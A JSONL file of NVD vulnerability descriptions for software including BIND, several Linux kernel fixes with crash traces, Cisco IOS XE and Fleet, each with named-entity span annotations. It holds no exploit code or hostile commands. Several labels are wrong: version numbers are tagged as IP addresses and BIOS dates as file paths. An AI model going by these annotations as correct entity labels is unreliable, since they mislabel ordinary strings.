{"text": "Every `named` instance configured to run as a recursive resolver maintains a cache database holding the responses to the queries it has recently sent to authoritative servers. The size limit for that cache database can be configured using the `max-cache-size` statement in the configuration file; it defaults to 90% of the total amount of memory available on the host. When the size of the cache reaches 7/8 of the configured limit, a cache-cleaning algorithm starts to remove expired and/or least-recently used RRsets from the cache, to keep memory use below the configured limit.\n\nIt has been discovered that the effectiveness of the cache-cleaning algorithm used in `named` can be severely diminished by querying the resolver for specific RRsets in a certain order, effectively allowing the configured `max-cache-size` limit to be significantly exceeded.\nThis issue affects BIND 9 versions 9.11.0 through 9.16.41, 9.18.0 through 9.18.15, 9.19.0 through 9.19.13, 9.11.3-S1 through 9.16.41-S1, and 9.18.11-S1 through 9.18.15-S1.", "spans": {"SYSTEM: BIND": [[877, 881]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-2828"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\natm: clip: Fix NULL pointer dereference in vcc_sendmsg()\n\natmarpd_dev_ops does not implement the send method, which may cause crash\nas bellow.\n\nBUG: kernel NULL pointer dereference, address: 0000000000000000\nPGD 0 P4D 0\nOops: Oops: 0010 [#1] SMP KASAN NOPTI\nCPU: 0 UID: 0 PID: 5324 Comm: syz.0.0 Not tainted 6.15.0-rc6-syzkaller-00346-g5723cc3450bc #0 PREEMPT(full)\nHardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2~bpo12+1 04/01/2014\nRIP: 0010:0x0\nCode: Unable to access opcode bytes at 0xffffffffffffffd6.\nRSP: 0018:ffffc9000d3cf778 EFLAGS: 00010246\nRAX: 1ffffffff1910dd1 RBX: 00000000000000c0 RCX: dffffc0000000000\nRDX: ffffc9000dc82000 RSI: ffff88803e4c4640 RDI: ffff888052cd0000\nRBP: ffffc9000d3cf8d0 R08: ffff888052c9143f R09: 1ffff1100a592287\nR10: dffffc0000000000 R11: 0000000000000000 R12: 1ffff92001a79f00\nR13: ffff888052cd0000 R14: ffff88803e4c4640 R15: ffffffff8c886e88\nFS:  00007fbc762566c0(0000) GS:ffff88808d6c2000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\nCR2: ffffffffffffffd6 CR3: 0000000041f1b000 CR4: 0000000000352ef0\nDR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000\nDR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400\nCall Trace:\n <TASK>\n vcc_sendmsg+0xa10/0xc50 net/atm/common.c:644\n sock_sendmsg_nosec net/socket.c:712 [inline]\n __sock_sendmsg+0x219/0x270 net/socket.c:727\n ____sys_sendmsg+0x52d/0x830 net/socket.c:2566\n ___sys_sendmsg+0x21f/0x2a0 net/socket.c:2620\n __sys_sendmmsg+0x227/0x430 net/socket.c:2709\n __do_sys_sendmmsg net/socket.c:2736 [inline]\n __se_sys_sendmmsg net/socket.c:2733 [inline]\n __x64_sys_sendmmsg+0xa0/0xc0 net/socket.c:2733\n do_syscall_x64 arch/x86/entry/syscall_64.c:63 [inline]\n do_syscall_64+0xf6/0x210 arch/x86/entry/syscall_64.c:94\n entry_SYSCALL_64_after_hwframe+0x77/0x7f", "spans": {"FILEPATH: /01/2014": [[525, 533]], "FILEPATH: /atm/common.c": [[1354, 1367]], "FILEPATH: /x86/entry/syscall_64.c": [[1762, 1785], [1828, 1851]], "FILEPATH: socket.c": [[1396, 1404], [1450, 1458], [1496, 1504], [1542, 1550], [1588, 1596], [1625, 1633], [1671, 1679], [1728, 1736]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[450, 454]], "VULNERABILITY: NULL pointer dereference": [[84, 108], [225, 249]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38458"}}
{"text": "laminas-diactoros is a PHP package containing implementations of the PSR-7 HTTP message interfaces and PSR-17 HTTP message factory interfaces. Applications that use Diactoros, and are either not behind a proxy, or can be accessed via untrusted proxies, can potentially have the host, protocol, and/or port of a `Laminas\\Diactoros\\Uri` instance associated with the incoming server request modified to reflect values from `X-Forwarded-*` headers. Such changes can potentially lead to XSS attacks (if a fully-qualified URL is used in links) and/or URL poisoning. Since the `X-Forwarded-*` headers do have valid use cases, particularly in clustered environments using a load balancer, the library offers mitigation measures only in the v2 releases, as doing otherwise would break these use cases immediately. Users of v2 releases from 2.11.1 can provide an additional argument to `Laminas\\Diactoros\\ServerRequestFactory::fromGlobals()` in the form of a `Laminas\\Diactoros\\RequestFilter\\RequestFilterInterface` instance, including the shipped `Laminas\\Diactoros\\RequestFilter\\NoOpRequestFilter` implementation which ignores the `X-Forwarded-*` headers. Starting in version 3.0, the library will reverse behavior to use the `NoOpRequestFilter` by default, and require users to opt-in to `X-Forwarded-*` header usage via a configured `Laminas\\Diactoros\\RequestFilter\\LegacyXForwardedHeaderFilter` instance. Users are advised to upgrade to version 2.11.1 or later to resolve this issue. Users unable to upgrade may configure web servers to reject `X-Forwarded-*` headers at the web server level.", "spans": {"SYSTEM: PHP": [[23, 26]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-31109"}}
{"text": "This vulnerability allows remote attackers to execute arbitrary code on affected installations of Foxit Studio Photo 3.6.6.916. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the processing of TIF files. The issue results from the lack of validating the existence of an object prior to performing operations on the object. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-9774.", "spans": {"IP_ADDRESS: 3.6.6.916": [[117, 126]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8881"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\ndrm/meson: remove drm bridges at aggregate driver unbind time\n\ndrm bridges added by meson_encoder_hdmi_init and meson_encoder_cvbs_init\nwere not manually removed at module unload time, which caused dangling\nreferences to freed memory to remain linked in the global bridge_list.\n\nWhen loading the driver modules back in, the same functions would again\ncall drm_bridge_add, and when traversing the global bridge_list, would\nend up peeking into freed memory.\n\nOnce again KASAN revealed the problem:\n\n[  +0.000095] =============================================================\n[  +0.000008] BUG: KASAN: use-after-free in __list_add_valid+0x9c/0x120\n[  +0.000018] Read of size 8 at addr ffff00003da291f0 by task modprobe/2483\n\n[  +0.000018] CPU: 3 PID: 2483 Comm: modprobe Tainted: G         C O      5.19.0-rc6-lrmbkasan+ #1\n[  +0.000011] Hardware name: Hardkernel ODROID-N2Plus (DT)\n[  +0.000008] Call trace:\n[  +0.000006]  dump_backtrace+0x1ec/0x280\n[  +0.000012]  show_stack+0x24/0x80\n[  +0.000008]  dump_stack_lvl+0x98/0xd4\n[  +0.000011]  print_address_description.constprop.0+0x80/0x520\n[  +0.000011]  print_report+0x128/0x260\n[  +0.000008]  kasan_report+0xb8/0xfc\n[  +0.000008]  __asan_report_load8_noabort+0x3c/0x50\n[  +0.000009]  __list_add_valid+0x9c/0x120\n[  +0.000009]  drm_bridge_add+0x6c/0x104 [drm]\n[  +0.000165]  dw_hdmi_probe+0x1900/0x2360 [dw_hdmi]\n[  +0.000022]  meson_dw_hdmi_bind+0x520/0x814 [meson_dw_hdmi]\n[  +0.000014]  component_bind+0x174/0x520\n[  +0.000012]  component_bind_all+0x1a8/0x38c\n[  +0.000010]  meson_drv_bind_master+0x5e8/0xb74 [meson_drm]\n[  +0.000032]  meson_drv_bind+0x20/0x2c [meson_drm]\n[  +0.000027]  try_to_bring_up_aggregate_device+0x19c/0x390\n[  +0.000010]  component_master_add_with_match+0x1c8/0x284\n[  +0.000009]  meson_drv_probe+0x274/0x280 [meson_drm]\n[  +0.000026]  platform_probe+0xd0/0x220\n[  +0.000009]  really_probe+0x3ac/0xa80\n[  +0.000009]  __driver_probe_device+0x1f8/0x400\n[  +0.000009]  driver_probe_device+0x68/0x1b0\n[  +0.000009]  __driver_attach+0x20c/0x480\n[  +0.000008]  bus_for_each_dev+0x114/0x1b0\n[  +0.000009]  driver_attach+0x48/0x64\n[  +0.000008]  bus_add_driver+0x390/0x564\n[  +0.000009]  driver_register+0x1a8/0x3e4\n[  +0.000009]  __platform_driver_register+0x6c/0x94\n[  +0.000008]  meson_drm_platform_driver_init+0x3c/0x1000 [meson_drm]\n[  +0.000027]  do_one_initcall+0xc4/0x2b0\n[  +0.000011]  do_init_module+0x154/0x570\n[  +0.000011]  load_module+0x1a78/0x1ea4\n[  +0.000008]  __do_sys_init_module+0x184/0x1cc\n[  +0.000009]  __arm64_sys_init_module+0x78/0xb0\n[  +0.000009]  invoke_syscall+0x74/0x260\n[  +0.000009]  el0_svc_common.constprop.0+0xcc/0x260\n[  +0.000008]  do_el0_svc+0x50/0x70\n[  +0.000007]  el0_svc+0x68/0x1a0\n[  +0.000012]  el0t_64_sync_handler+0x11c/0x150\n[  +0.000008]  el0t_64_sync+0x18c/0x190\n\n[  +0.000016] Allocated by task 879:\n[  +0.000008]  kasan_save_stack+0x2c/0x5c\n[  +0.000011]  __kasan_kmalloc+0x90/0xd0\n[  +0.000007]  __kmalloc+0x278/0x4a0\n[  +0.000011]  mpi_resize+0x13c/0x1d0\n[  +0.000011]  mpi_powm+0xd24/0x1570\n[  +0.000009]  rsa_enc+0x1a4/0x30c\n[  +0.000009]  pkcs1pad_verify+0x3f0/0x580\n[  +0.000009]  public_key_verify_signature+0x7a8/0xba4\n[  +0.000010]  public_key_verify_signature_2+0x40/0x60\n[  +0.000008]  verify_signature+0xb4/0x114\n[  +0.000008]  pkcs7_validate_trust_one.constprop.0+0x3b8/0x574\n[  +0.000009]  pkcs7_validate_trust+0xb8/0x15c\n[  +0.000008]  verify_pkcs7_message_sig+0xec/0x1b0\n[  +0.000012]  verify_pkcs7_signature+0x78/0xac\n[  +0.000007]  mod_verify_sig+0x110/0x190\n[  +0.000009]  module_sig_check+0x114/0x1e0\n[  +0.000009]  load_module+0xa0/0x1ea4\n[  +0.000008]  __do_sys_init_module+0x184/0x1cc\n[  +0.000008]  __arm64_sys_init_module+0x78/0xb0\n[  +0.000008]  invoke_syscall+0x74/0x260\n[  +0.000009]  el0_svc_common.constprop.0+0x1a8/0x260\n[  +0.000008]  do_el0_svc+0x50/0x70\n[  +0.000007]  el0_svc+0x68/0x1a0\n[  +0.000009]  el0t_64_sync_handler+0x11c/0x150\n[  +0.000009]  el0t_64\n---truncated---", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[668, 682]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-50256"}}
{"text": "This vulnerability allows local attackers to escalate privileges on affected installations of Parallels Desktop 15.1.4. An attacker must first obtain the ability to execute low-privileged code on the target system in order to exploit this vulnerability. The specific flaw exists within the prl_hypervisor kext. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated buffer. An attacker can leverage this vulnerability to escalate privileges and execute code in the context of the hypervisor. Was ZDI-CAN-11304.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-17400"}}
{"text": "A vulnerability in the software image verification functionality of Cisco IOS XE Software for Cisco Catalyst 9200 Series Switches could allow an unauthenticated, physical attacker to execute unsigned code at system boot time. This vulnerability is due to an improper check in the code function that manages the verification of the digital signatures of system image files during the initial boot process. An attacker could exploit this vulnerability by loading unsigned software on an affected device. A successful exploit could allow the attacker to boot a malicious software image or execute unsigned code and bypass the image verification check part of the boot process of the affected device. To exploit this vulnerability, the attacker needs either unauthenticated physical access to the device or privileged access to the root shell on the device. Note: In Cisco IOS XE Software releases 16.11.1 and later, root shell access is protected by the Consent Token mechanism. However, an attacker with level-15 privileges could easily downgrade the Cisco IOS XE Software running on a device to a release where root shell access is more readily available.", "spans": {"SYSTEM: Cisco IOS XE": [[68, 80], [863, 875], [1049, 1061]], "ORGANIZATION: Cisco": [[94, 99]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-20944"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: pm8001: Fix abort all task initialization\n\nIn pm80xx_send_abort_all(), the n_elem field of the ccb used is not\ninitialized to 0. This missing initialization sometimes lead to the task\ncompletion path seeing the ccb with a non-zero n_elem resulting in the\nexecution of invalid dma_unmap_sg() calls in pm8001_ccb_task_free(),\ncausing a crash such as:\n\n[  197.676341] RIP: 0010:iommu_dma_unmap_sg+0x6d/0x280\n[  197.700204] RSP: 0018:ffff889bbcf89c88 EFLAGS: 00010012\n[  197.705485] RAX: dffffc0000000000 RBX: 0000000000000000 RCX: ffffffff83d0bda0\n[  197.712687] RDX: 0000000000000002 RSI: 0000000000000000 RDI: ffff88810dffc0d0\n[  197.719887] RBP: 0000000000000000 R08: 0000000000000000 R09: ffff8881c790098b\n[  197.727089] R10: ffffed1038f20131 R11: 0000000000000001 R12: 0000000000000000\n[  197.734296] R13: ffff88810dffc0d0 R14: 0000000000000010 R15: 0000000000000000\n[  197.741493] FS:  0000000000000000(0000) GS:ffff889bbcf80000(0000) knlGS:0000000000000000\n[  197.749659] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033\n[  197.755459] CR2: 00007f16c1b42734 CR3: 0000000004814000 CR4: 0000000000350ee0\n[  197.762656] Call Trace:\n[  197.765127]  <IRQ>\n[  197.767162]  pm8001_ccb_task_free+0x5f1/0x820 [pm80xx]\n[  197.772364]  ? do_raw_spin_unlock+0x54/0x220\n[  197.776680]  pm8001_mpi_task_abort_resp+0x2ce/0x4f0 [pm80xx]\n[  197.782406]  process_oq+0xe85/0x7890 [pm80xx]\n[  197.786817]  ? lock_acquire+0x194/0x490\n[  197.790697]  ? handle_irq_event+0x10e/0x1b0\n[  197.794920]  ? mpi_sata_completion+0x2d70/0x2d70 [pm80xx]\n[  197.800378]  ? __wake_up_bit+0x100/0x100\n[  197.804340]  ? lock_is_held_type+0x98/0x110\n[  197.808565]  pm80xx_chip_isr+0x94/0x130 [pm80xx]\n[  197.813243]  tasklet_action_common.constprop.0+0x24b/0x2f0\n[  197.818785]  __do_softirq+0x1b5/0x82d\n[  197.822485]  ? do_raw_spin_unlock+0x54/0x220\n[  197.826799]  __irq_exit_rcu+0x17e/0x1e0\n[  197.830678]  irq_exit_rcu+0xa/0x20\n[  197.834114]  common_interrupt+0x78/0x90\n[  197.840051]  </IRQ>\n[  197.844236]  <TASK>\n[  197.848397]  asm_common_interrupt+0x1e/0x40\n\nAvoid this issue by always initializing the ccb n_elem field to 0 in\npm8001_send_abort_all(), pm8001_send_read_log() and\npm80xx_send_abort_all().", "spans": {"SYSTEM: Linux kernel": [[7, 19]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49217"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbcon: always restore the old font data in fbcon_do_set_font()\n\nCommit a5a923038d70 (fbdev: fbcon: Properly revert changes when\nvc_resize() failed) started restoring old font data upon failure (of\nvc_resize()). But it performs so only for user fonts. It means that the\n\"system\"/internal fonts are not restored at all. So in result, the very\nfirst call to fbcon_do_set_font() performs no restore at all upon\nfailing vc_resize().\n\nThis can be reproduced by Syzkaller to crash the system on the next\ninvocation of font_get(). It's rather hard to hit the allocation failure\nin vc_resize() on the first font_set(), but not impossible. Esp. if\nfault injection is used to aid the execution/failure. It was\ndemonstrated by Sirius:\n  BUG: unable to handle page fault for address: fffffffffffffff8\n  #PF: supervisor read access in kernel mode\n  #PF: error_code(0x0000) - not-present page\n  PGD cb7b067 P4D cb7b067 PUD cb7d067 PMD 0\n  Oops: 0000 [#1] PREEMPT SMP KASAN\n  CPU: 1 PID: 8007 Comm: poc Not tainted 6.7.0-g9d1694dc91ce #20\n  Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\n  RIP: 0010:fbcon_get_font+0x229/0x800 drivers/video/fbdev/core/fbcon.c:2286\n  Call Trace:\n   <TASK>\n   con_font_get drivers/tty/vt/vt.c:4558 [inline]\n   con_font_op+0x1fc/0xf20 drivers/tty/vt/vt.c:4673\n   vt_k_ioctl drivers/tty/vt/vt_ioctl.c:474 [inline]\n   vt_ioctl+0x632/0x2ec0 drivers/tty/vt/vt_ioctl.c:752\n   tty_ioctl+0x6f8/0x1570 drivers/tty/tty_io.c:2803\n   vfs_ioctl fs/ioctl.c:51 [inline]\n  ...\n\nSo restore the font data in any case, not only for user fonts. Note the\nlater 'if' is now protected by 'old_userfont' and not 'old_data' as the\nlatter is always set now. (And it is supposed to be non-NULL. Otherwise\nwe would see the bug above again.)", "spans": {"FILEPATH: /01/2014": [[1165, 1173]], "FILEPATH: /video/fbdev/core/fbcon.c": [[1220, 1245]], "FILEPATH: /tty/vt/vt.c": [[1298, 1310], [1359, 1371]], "FILEPATH: /tty/vt/vt_ioctl.c": [[1398, 1416], [1462, 1480]], "FILEPATH: /tty/tty_io.c": [[1518, 1531]], "FILEPATH: ioctl.c": [[1553, 1560]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[1109, 1113]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-26798"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nlandlock: Fix warning from KUnit tests\n\nget_id_range() expects a positive value as first argument but\nget_random_u8() can return 0.  Fix this by clamping it.\n\nValidated by running the test in a for loop for 1000 times.\n\nNote that MAX() is wrong as it is only supposed to be used for\nconstants, but max() is good here.\n\n  [..]     ok 9 test_range2_rand1\n  [..]     ok 10 test_range2_rand2\n  [..]     ok 11 test_range2_rand15\n  [..] ------------[ cut here ]------------\n  [..] WARNING: CPU: 6 PID: 104 at security/landlock/id.c:99 test_range2_rand16 (security/landlock/id.c:99 (discriminator 1) security/landlock/id.c:234 (discriminator 1))\n  [..] Modules linked in:\n  [..] CPU: 6 UID: 0 PID: 104 Comm: kunit_try_catch Tainted: G                 N  6.16.0-rc1-dev-00001-g314a2f98b65f #1 PREEMPT(undef)\n  [..] Tainted: [N]=TEST\n  [..] Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014\n  [..] RIP: 0010:test_range2_rand16 (security/landlock/id.c:99 (discriminator 1) security/landlock/id.c:234 (discriminator 1))\n  [..] Code: 49 c7 c0 10 70 30 82 4c 89 ff 48 c7 c6 a0 63 1e 83 49 c7 45 a0 e0 63 1e 83 e8 3f 95 17 00 e9 1f ff ff ff 0f 0b e9 df fd ff ff <0f> 0b ba 01 00 00 00 e9 68 fe ff ff 49 89 45 a8 49 8d 4d a0 45 31\n\n  [..] RSP: 0000:ffff888104eb7c78 EFLAGS: 00010246\n  [..] RAX: 0000000000000000 RBX: 000000000870822c RCX: 0000000000000000\n            ^^^^^^^^^^^^^^^^\n  [..]\n  [..] Call Trace:\n  [..]\n  [..] ---[ end trace 0000000000000000 ]---\n  [..]     ok 12 test_range2_rand16\n  [..] # landlock_id: pass:12 fail:0 skip:0 total:12\n  [..] # Totals: pass:12 fail:0 skip:0 total:12\n  [..] ok 1 landlock_id\n\n[mic: Minor cosmetic improvements]", "spans": {"FILEPATH: /landlock/id.c": [[580, 594], [626, 640], [670, 684], [1037, 1051], [1081, 1095]], "FILEPATH: /01/2014": [[983, 991]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[916, 920]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38651"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: vidtv: Terminating the subsequent process of initialization failure\n\nsyzbot reported a slab-use-after-free Read in vidtv_mux_init. [1]\n\nAfter PSI initialization fails, the si member is accessed again, resulting\nin this uaf.\n\nAfter si initialization fails, the subsequent process needs to be exited.\n\n[1]\nBUG: KASAN: slab-use-after-free in vidtv_mux_pid_ctx_init drivers/media/test-drivers/vidtv/vidtv_mux.c:78 [inline]\nBUG: KASAN: slab-use-after-free in vidtv_mux_init+0xac2/0xbe0 drivers/media/test-drivers/vidtv/vidtv_mux.c:524\nRead of size 8 at addr ffff88802fa42acc by task syz.2.37/6059\n\nCPU: 0 UID: 0 PID: 6059 Comm: syz.2.37 Not tainted 6.14.0-rc5-syzkaller #0\nHardware name: Google Compute Engine, BIOS Google 02/12/2025\nCall Trace:\n<TASK>\n__dump_stack lib/dump_stack.c:94 [inline]\ndump_stack_lvl+0x116/0x1f0 lib/dump_stack.c:120\nprint_address_description mm/kasan/report.c:408 [inline]\nprint_report+0xc3/0x670 mm/kasan/report.c:521\nkasan_report+0xd9/0x110 mm/kasan/report.c:634\nvidtv_mux_pid_ctx_init drivers/media/test-drivers/vidtv/vidtv_mux.c:78\nvidtv_mux_init+0xac2/0xbe0 drivers/media/test-drivers/vidtv/vidtv_mux.c:524\nvidtv_start_streaming drivers/media/test-drivers/vidtv/vidtv_bridge.c:194\nvidtv_start_feed drivers/media/test-drivers/vidtv/vidtv_bridge.c:239\ndmx_section_feed_start_filtering drivers/media/dvb-core/dvb_demux.c:973\ndvb_dmxdev_feed_start drivers/media/dvb-core/dmxdev.c:508 [inline]\ndvb_dmxdev_feed_restart.isra.0 drivers/media/dvb-core/dmxdev.c:537\ndvb_dmxdev_filter_stop+0x2b4/0x3a0 drivers/media/dvb-core/dmxdev.c:564\ndvb_dmxdev_filter_free drivers/media/dvb-core/dmxdev.c:840 [inline]\ndvb_demux_release+0x92/0x550 drivers/media/dvb-core/dmxdev.c:1246\n__fput+0x3ff/0xb70 fs/file_table.c:464\ntask_work_run+0x14e/0x250 kernel/task_work.c:227\nexit_task_work include/linux/task_work.h:40 [inline]\ndo_exit+0xad8/0x2d70 kernel/exit.c:938\ndo_group_exit+0xd3/0x2a0 kernel/exit.c:1087\n__do_sys_exit_group kernel/exit.c:1098 [inline]\n__se_sys_exit_group kernel/exit.c:1096 [inline]\n__x64_sys_exit_group+0x3e/0x50 kernel/exit.c:1096\nx64_sys_call+0x151f/0x1720 arch/x86/include/generated/asm/syscalls_64.h:232\ndo_syscall_x64 arch/x86/entry/common.c:52 [inline]\ndo_syscall_64+0xcd/0x250 arch/x86/entry/common.c:83\nentry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f871d58d169\nCode: Unable to access opcode bytes at 0x7f871d58d13f.\nRSP: 002b:00007fff4b19a788 EFLAGS: 00000246 ORIG_RAX: 00000000000000e7\nRAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f871d58d169\nRDX: 0000000000000064 RSI: 0000000000000000 RDI: 0000000000000000\nRBP: 00007fff4b19a7ec R08: 0000000b4b19a87f R09: 00000000000927c0\nR10: 0000000000000001 R11: 0000000000000246 R12: 0000000000000003\nR13: 00000000000927c0 R14: 000000000001d553 R15: 00007fff4b19a840\n </TASK>\n\nAllocated by task 6059:\n kasan_save_stack+0x33/0x60 mm/kasan/common.c:47\n kasan_save_track+0x14/0x30 mm/kasan/common.c:68\n poison_kmalloc_redzone mm/kasan/common.c:377 [inline]\n __kasan_kmalloc+0xaa/0xb0 mm/kasan/common.c:394\n kmalloc_noprof include/linux/slab.h:901 [inline]\n kzalloc_noprof include/linux/slab.h:1037 [inline]\n vidtv_psi_pat_table_init drivers/media/test-drivers/vidtv/vidtv_psi.c:970\n vidtv_channel_si_init drivers/media/test-drivers/vidtv/vidtv_channel.c:423\n vidtv_mux_init drivers/media/test-drivers/vidtv/vidtv_mux.c:519\n vidtv_start_streaming drivers/media/test-drivers/vidtv/vidtv_bridge.c:194\n vidtv_start_feed drivers/media/test-drivers/vidtv/vidtv_bridge.c:239\n dmx_section_feed_start_filtering drivers/media/dvb-core/dvb_demux.c:973\n dvb_dmxdev_feed_start drivers/media/dvb-core/dmxdev.c:508 [inline]\n dvb_dmxdev_feed_restart.isra.0 drivers/media/dvb-core/dmxdev.c:537\n dvb_dmxdev_filter_stop+0x2b4/0x3a0 drivers/media/dvb-core/dmxdev.c:564\n dvb_dmxdev_filter_free drivers/media/dvb-core/dmxdev.c:840 [inline]\n dvb_demux_release+0x92/0x550 drivers/media/dvb-core/dmxdev.c:1246\n __fput+0x3ff/0xb70 fs/file_tabl\n---truncated---", "spans": {"FILEPATH: /media/test-drivers/vidtv/vidtv_mux.c": [[445, 482], [564, 601], [1093, 1130], [1168, 1205], [3346, 3383]], "FILEPATH: /12/2025": [[796, 804]], "FILEPATH: /kasan/report.c": [[942, 957], [997, 1012], [1043, 1058]], "FILEPATH: /media/test-drivers/vidtv/vidtv_bridge.c": [[1239, 1279], [1308, 1348], [3418, 3458], [3488, 3528]], "FILEPATH: /media/dvb-core/dvb_demux.c": [[1393, 1420], [3574, 3601]], "FILEPATH: /media/dvb-core/dmxdev.c": [[1454, 1478], [1530, 1554], [1601, 1625], [1660, 1684], [1734, 1758], [3636, 3660], [3713, 3737], [3785, 3809], [3845, 3869], [3920, 3944]], "FILEPATH: /linux/task_work.h": [[1874, 1892]], "FILEPATH: /x86/include/generated/asm/syscalls_64.h": [[2165, 2205]], "FILEPATH: /x86/entry/common.c": [[2229, 2248], [2290, 2309]], "FILEPATH: /kasan/common.c": [[2899, 2914], [2948, 2963], [2993, 3008], [3051, 3066]], "FILEPATH: /linux/slab.h": [[3094, 3107], [3144, 3157]], "FILEPATH: /media/test-drivers/vidtv/vidtv_psi.c": [[3205, 3242]], "FILEPATH: /media/test-drivers/vidtv/vidtv_channel.c": [[3277, 3318]], "FILEPATH: dump_stack.c": [[841, 853], [897, 909]], "FILEPATH: file_table.c": [[1786, 1798]], "FILEPATH: task_work.c": [[1836, 1847]], "FILEPATH: exit.c": [[1933, 1939], [1976, 1982], [2015, 2021], [2063, 2069], [2122, 2128]], "SYSTEM: Linux kernel": [[7, 19]], "ORGANIZATION: Google": [[759, 765], [787, 793]], "VULNERABILITY: use-after-free": [[168, 182], [397, 411], [512, 526]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2025-38227"}}
{"text": "Discourse is an open source discussion platform. Discourse groups can be configured with varying visibility levels for the group as well as the group members. By default, a newly created group has its visibility set to public and the group's members visibility set to public as well. However, a group's visibility and the group's members visibility can be configured such that it is restricted to logged on users, members of the group or staff users. A vulnerability has been discovered in versions prior to 2.7.13 and 2.8.0.beta11 where the group advanced search option does not respect the group's visibility and members visibility level. As such, a group with restricted visibility or members visibility can be revealed through search with the right search option. This issue is patched in `stable` version 2.7.13, `beta` version 2.8.0.beta11, and `tests-passed` version 2.8.0.beta11 versions of Discourse. There are no workarounds aside from upgrading.", "spans": {}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-21677"}}
{"text": "Honor 20;HONOR 20 PRO;Honor Magic2;HUAWEI Mate 20 X;HUAWEI P30;HUAWEI P30 Pro;Honor View 20 smartphones with versions earlier than 10.0.0.187(C00E60R4P11); versions earlier than 10.0.0.187(C00E60R4P11); versions earlier than 10.0.0.176(C00E60R2P11);9.1.0.135(C00E133R2P1); versions earlier than 10.1.0.123(C431E22R3P5), versions earlier than 10.1.0.126(C636E5R3P4), versions earlier than 10.1.0.160(C00E160R2P11); versions earlier than 10.1.0.126(C185E8R5P1), versions earlier than 10.1.0.126(C636E9R2P4), versions earlier than 10.1.0.160(C00E160R2P8); versions earlier than 10.0.0.179(C636E3R4P3), versions earlier than 10.0.0.180(C185E3R3P3), versions earlier than 10.0.0.180(C432E10R3P4), versions earlier than 10.0.0.181(C675E5R1P2) have an out of bound read vulnerability. The software reads data past the end of the intended buffer. The attacker tricks the user into installing a crafted application, successful exploit may cause information disclosure or service abnormal.", "spans": {"IP_ADDRESS: 10.0.0.187": [[131, 141], [178, 188]], "IP_ADDRESS: 10.0.0.176": [[225, 235]], "IP_ADDRESS: 9.1.0.135": [[249, 258]], "IP_ADDRESS: 10.1.0.123": [[295, 305]], "IP_ADDRESS: 10.1.0.126": [[342, 352], [436, 446], [482, 492]], "IP_ADDRESS: 10.1.0.160": [[388, 398], [528, 538]], "IP_ADDRESS: 10.0.0.179": [[575, 585]], "IP_ADDRESS: 10.0.0.180": [[621, 631], [667, 677]], "IP_ADDRESS: 10.0.0.181": [[714, 724]], "VULNERABILITY: information disclosure": [[936, 958]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-1808"}}
{"text": "Fleet is open source device management software. A SQL injection vulnerability in versions prior to 4.80.1 allowed authenticated users to inject arbitrary SQL expressions via the `order_key` query parameter. Due to unsafe use of `goqu.I()` when constructing the `ORDER BY` clause, specially crafted input could escape identifier quoting and be interpreted as executable SQL. An authenticated attacker with access to the affected endpoint could inject SQL expressions into the underlying MySQL query. Although the injection occurs in an `ORDER BY` context, it is sufficient to enable blind SQL injection techniques that can disclose database information through conditional expressions that affect result ordering. Crafted expressions may also cause excessive computation or query failures, potentially leading to degraded performance or denial of service. No direct evidence of reliable data modification or stacked query execution was demonstrated. Version 4.80.1 fixes the issue. If an immediate upgrade is not possible, users should restrict access to the affected endpoint to trusted roles only and ensure that any user-supplied sort or column parameters are strictly allow-listed at the application or proxy layer.", "spans": {"SYSTEM: MySQL": [[487, 492]], "VULNERABILITY: denial of service": [[837, 854]], "VULNERABILITY: SQL injection": [[51, 64], [589, 602]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-26186"}}
